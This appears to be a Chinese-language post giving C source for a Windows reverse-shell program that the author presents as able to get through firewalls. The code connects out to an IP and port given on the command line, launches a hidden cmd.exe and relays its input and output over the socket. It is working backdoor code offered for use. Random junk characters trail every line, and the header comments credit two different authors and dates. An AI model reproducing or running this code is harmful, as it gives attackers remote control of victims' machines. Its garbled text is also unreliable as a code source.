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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qf)$$qi  
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/* ============================== + A_J1iJ<  
Rebound port in Windows NT H( ^bC5'  
By wind,2006/7 $3+PbYY  
===============================*/ n";02?@F  
#include ,"}Rg1\4t  
#include *~$~yM/~3U  
yI{5m^s{  
#pragma comment(lib,"wsock32.lib") _A_ A$N~9  
p\v Mc\  
void OutputShell(); gieJ}Bv  
SOCKET sClient; Ft JjY@#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M&Y .;  
tCF&OOI4`  
void main(int argc,char **argv) 0"k |H&  
{ [p r"ZQ]  
WSADATA stWsaData; Y]`.InG@  
int nRet; f2)XP$:  
SOCKADDR_IN stSaiClient,stSaiServer; he3SR @\T  
rd|uz4d  
if(argc != 3) y? (2U6c  
{ Ma-\^S=  
printf("Useage:\n\rRebound DestIP DestPort\n"); QvPD8B  
return; wt }9B[  
} o6kNx>tc)  
u<ySd?  
WSAStartup(MAKEWORD(2,2),&stWsaData); eHg3}b2r  
"](6lB1Oe  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H%f:K2  
CE NVp"C/`  
stSaiClient.sin_family = AF_INET; lVH<lp_ZtK  
stSaiClient.sin_port = htons(0); OvL\u{(<F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %rKK[  
o@>? *=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JHn*->m  
{ }]P4-KqI  
printf("Bind Socket Failed!\n"); q!'rz  
return; s'P( ,!f  
} bJr[I  
q]& .#&h  
stSaiServer.sin_family = AF_INET; ]ekk }0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1MkI0OZE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XhU@W}}  
T".]m7!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9$K;Raz%  
{ ?0*8R K  
printf("Connect Error!"); 9|' B9C  
return; Nf,Z;5e  
} r4_eTrC,  
OutputShell(); <S"~vKD'  
} De  *7OC  
["<nq`~  
void OutputShell() :Gqy>)CxX  
{ Tn-C>=tR~%  
char szBuff[1024]; 0O!cN_l|  
SECURITY_ATTRIBUTES stSecurityAttributes; iyx>q!P  
OSVERSIONINFO stOsversionInfo; w&&2H8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~o3Hdd_#}N  
STARTUPINFO stStartupInfo; C}g9'jY  
char *szShell; lEL78l.  
PROCESS_INFORMATION stProcessInformation; 8am`6;O:!  
unsigned long lBytesRead; e>'H IO  
^u)z{.z'H/  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9e!NOl\_;.  
5@osnf?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {WN(&eax  
stSecurityAttributes.lpSecurityDescriptor = 0; -!qu"A:  
stSecurityAttributes.bInheritHandle = TRUE; w6|9|f/  
XP[uF ;w  
K5Wg"^AHY/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I lR\  #  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u}hF8eD  
,M !tm7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <M?:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |Q~cX!;  
stStartupInfo.wShowWindow = SW_HIDE; -OZ 5vH0  
stStartupInfo.hStdInput = hReadPipe; ^:, l\Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RH0>ZZR  
c2l_$p  
GetVersionEx(&stOsversionInfo); _hf4A8ak  
Kz8:UG(  
switch(stOsversionInfo.dwPlatformId) y2HxP_s?P?  
{ =64r:E  
case 1: yKagT$-  
szShell = "command.com"; =?0lA_ 0  
break; $L4/I!Yf  
default: <c[U#KrvJ  
szShell = "cmd.exe"; wHjLd$ +o  
break; FwKj+f"  
} vZ7gS  
eS/B24;*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tU wRE|_  
G>qZxy`c  
send(sClient,szMsg,77,0); pC,o2~%{  
while(1) 3{% LS"c  
{ 59uwB('|lH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Y>."3*^  
if(lBytesRead) :S@1  
{ w^k;D,h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }]1BO  
send(sClient,szBuff,lBytesRead,0); 8cx=#Me  
} 89}Y5#W  
else gE/Tj$  
{ ',7??Q7j&v  
lBytesRead=recv(sClient,szBuff,1024,0); ?VU(Pq*`  
if(lBytesRead<=0) break; oj,lz?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u#7+U\  
} Q~D`cc|]  
} W" "*ASi  
<3PL@orO  
return; u),Qa=Wp  
}
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